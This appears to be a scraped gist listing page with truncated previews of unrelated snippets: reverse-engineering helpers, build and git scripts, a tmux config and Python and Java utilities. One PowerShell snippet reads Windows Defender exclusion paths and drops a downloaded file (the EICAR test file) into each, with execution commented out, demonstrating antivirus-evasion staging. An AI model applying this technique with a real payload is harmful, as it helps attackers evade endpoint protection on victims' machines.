This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import r2pipe | |
import sys | |
from os.path import isfile | |
from typing import Optional | |
def get_soname(file_path) -> Optional[str]: | |
r = r2pipe.open(file_path) | |
barch: int = r.cmdj('iAj')['bins'][0]['bits'] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ExPath = (Get-MpPreference).ExclusionPath | |
if ($ExPath.Length -gt 0) { | |
foreach ($path in $ExPath) { | |
try { | |
$url = "https://secure.eicar.org/eicar.com" | |
$output = Join-Path -Path $path -ChildPath "eicar.com" | |
Invoke-WebRequest -Uri $url -OutFile $output | |
Write-Host "Dropped malicious file -> '$($output)'" | |
# Execute $output ... | |
return |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ -d "$1" ]; then | |
apktool build $1 | |
dist="$1/dist/" | |
cd $dist | |
outapk="out.apk" | |
if [ -f $outapk ]; then | |
rm $outapk |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
git pull | |
if [ "$1" != "" ]; then | |
git commit -am "$1" | |
else | |
git commit -am "auto" | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set -s escape-time 0 | |
bind r source-file ~/.tmux.conf \; display "Reloaded!" | |
# Tmux uses a 'control key', set it to 'Ctrl-Space' that is easier to reach | |
unbind C-b | |
set -g prefix C-Space | |
bind C-Space send-prefix | |
# Tmux should be pretty, we need 256 color for that |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import timeit | |
def time_usage(func): | |
def wrapper(*args, **kwargs): | |
start_time = timeit.default_timer() | |
retval = func(*args, **kwargs) | |
elapsed = timeit.default_timer() - start_time | |
print "Function '{}' elapsed time: {}sec".format(func.__name__, elapsed) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Landroid/accessibilityservice/AccessibilityButtonController; | |
Landroid/accessibilityservice/AccessibilityButtonController$AccessibilityButtonCallback; | |
Landroid/accessibilityservice/AccessibilityService; | |
Landroid/accessibilityservice/AccessibilityService$GestureResultCallback; | |
Landroid/accessibilityservice/AccessibilityServiceInfo; | |
Landroid/accessibilityservice/AccessibilityService$MagnificationController; | |
Landroid/accessibilityservice/AccessibilityService$MagnificationController$OnMagnificationChangedListener; | |
Landroid/accessibilityservice/AccessibilityService$SoftKeyboardController; | |
Landroid/accessibilityservice/AccessibilityService$SoftKeyboardController$OnShowModeChangedListener; | |
Landroid/accessibilityservice/FingerprintGestureController; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static List<String> execute(final List<String> args) throws IOException, InterruptedException { | |
final List<String> output = new LinkedList<>(); | |
ProcessBuilder pb = new ProcessBuilder(args); | |
pb.redirectErrorStream(true); | |
Process process = pb.start(); | |
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream())); | |
String line; | |
while ((line = br.readLine()) != null) { | |
output.add(line); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install software-properties-common | |
sudo add-apt-repository "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main" | |
sudo sh -c 'echo deb https://www.charlesproxy.com/packages/apt/ charles-proxy main > /etc/apt/sources.list.d/charles.list' | |
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 5F16B97C1AD28806 | |
sudo apt-get update |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with open("/tmp/output.txt", "w") as output_file: | |
with open("/tmp/input.txt", "r") as input_file: | |
for line in input_file: | |
# process line | |
print(line, file=output_file, end="") |